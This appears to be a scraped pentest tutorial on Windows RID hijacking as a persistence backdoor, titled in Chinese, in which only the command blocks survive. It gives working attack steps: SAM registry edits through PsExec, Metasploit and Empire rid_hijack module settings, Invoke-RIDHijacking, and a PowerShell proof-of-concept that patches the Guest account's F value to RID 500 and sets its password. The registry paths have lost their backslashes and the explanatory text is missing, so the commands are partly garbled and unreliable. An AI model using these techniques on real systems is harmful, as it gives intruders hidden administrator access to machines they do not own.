windows持久化后门之RID劫持

Shell                  
HKEY_LOCAL_MACHINESAMSAM

Shell                  
PsExec64.exe -s -i regedit.exe

Shell                  
HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNamesGuest

Shell                  
wmic useraccount where (name='Guest') get name,sid

Shell                  
HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers00001F5

Shell                  
use post/windows/manage/rid_hijack                  
set SESSION 1                  
set GETSYSTEM true                  
set GUEST_ACCOUNT true                  
set PASSWORD pentestlab                  
exploit

Shell                  
./psexec.py Guest:[email protected]

Shell                  
usemodule persistence/elevated/rid_hijack*                  
set UseGuest True                  
set Password pentestlab                  
set Enable True                  
execute

Shell                  
Invoke-RIDHijacking -UseGuest -RID 500 -Password Password1

Shell                  
$key = 'HKLM:SAMSAMDomainsAccountUsers00001F5'                  
$binaryValue = ( Get-ItemProperty -Path $key -Name "F" ). "F"                  
reg export 'HKLMSAMSAMDomainsAccountUsers00001F5' .export.reg                  
Write-Host 'Registry key exported.'                  
$newValue = 244                  
if ( $binaryValue [48] -notin (244,245)){                  
throw 'Unknown value set at offset 0x30. Expected values: 244 or 245. Current value: ' + $binaryValue [48] + '.'                  
stop                  
} else {                  
$binaryvalue [48] = $newValue                  
Write-Host 'Value at 0x30 set to ' $binaryValue [48]                  
}                  
$newvalue = 20                  
if ( $binaryValue [56] -notin (20,21)){                  
throw 'Unknown value set at offset 0x38. Expected values: 20 or 21. Current value: ' + $binaryValue [56]+ '.'                  
stop                  
} else {                  
$binaryvalue [56] = $newvalue                  
Write-Host 'Value at 0x38 set to ' $binaryValue [56]                  
}                  
$hexValue = ''                  
for ( $i =0; $i -lt $binaryValue .length; $i ++){                  
$hexValue += "{0:x2}" -f $binaryValue [ $i ]                  
}                  
Write-Host 'You are about to change the RID and enable the Guest account. Press enter to continue.'                  
pause                  
reg add "HKLMSAMSAMDomainsAccountUsers00001F5" /v F /t REG_BINARY /d $hexValue /f                  
Write-Host 'Guest account enabled and RID set to 500.'                  
$password = '!Password123!'                  
net user guest $password                  
Write-Host 'Guest account password set to' $password                  
Write-Host " "                  
Write-Host " Open a command prompt as Guest to see the new RID and privileges associated with the Guest account. Pressing enter will continue the script and roll back all changes besides the password of the Guest account. "                  
Write-Host ""                  
Write-Host " To run a command promp as Guest, shift+right click cmd.exe and select Run as different user. When prompted enter .Guest for the username and $password as the password. This will spawn a command prompt window. Once this pops up, enter 'whoami /all | more' to see information about the Guest account. Once complete, you can come back to this screen and press enter to continue ."                  
pause                  
reg import .export.reg                  
Write-Host 'Registry key rolled back to original.'                  
Write-Host 'Proof of concept complete.'        

Shell                  
Import-Module .RIDHIJACK.ps1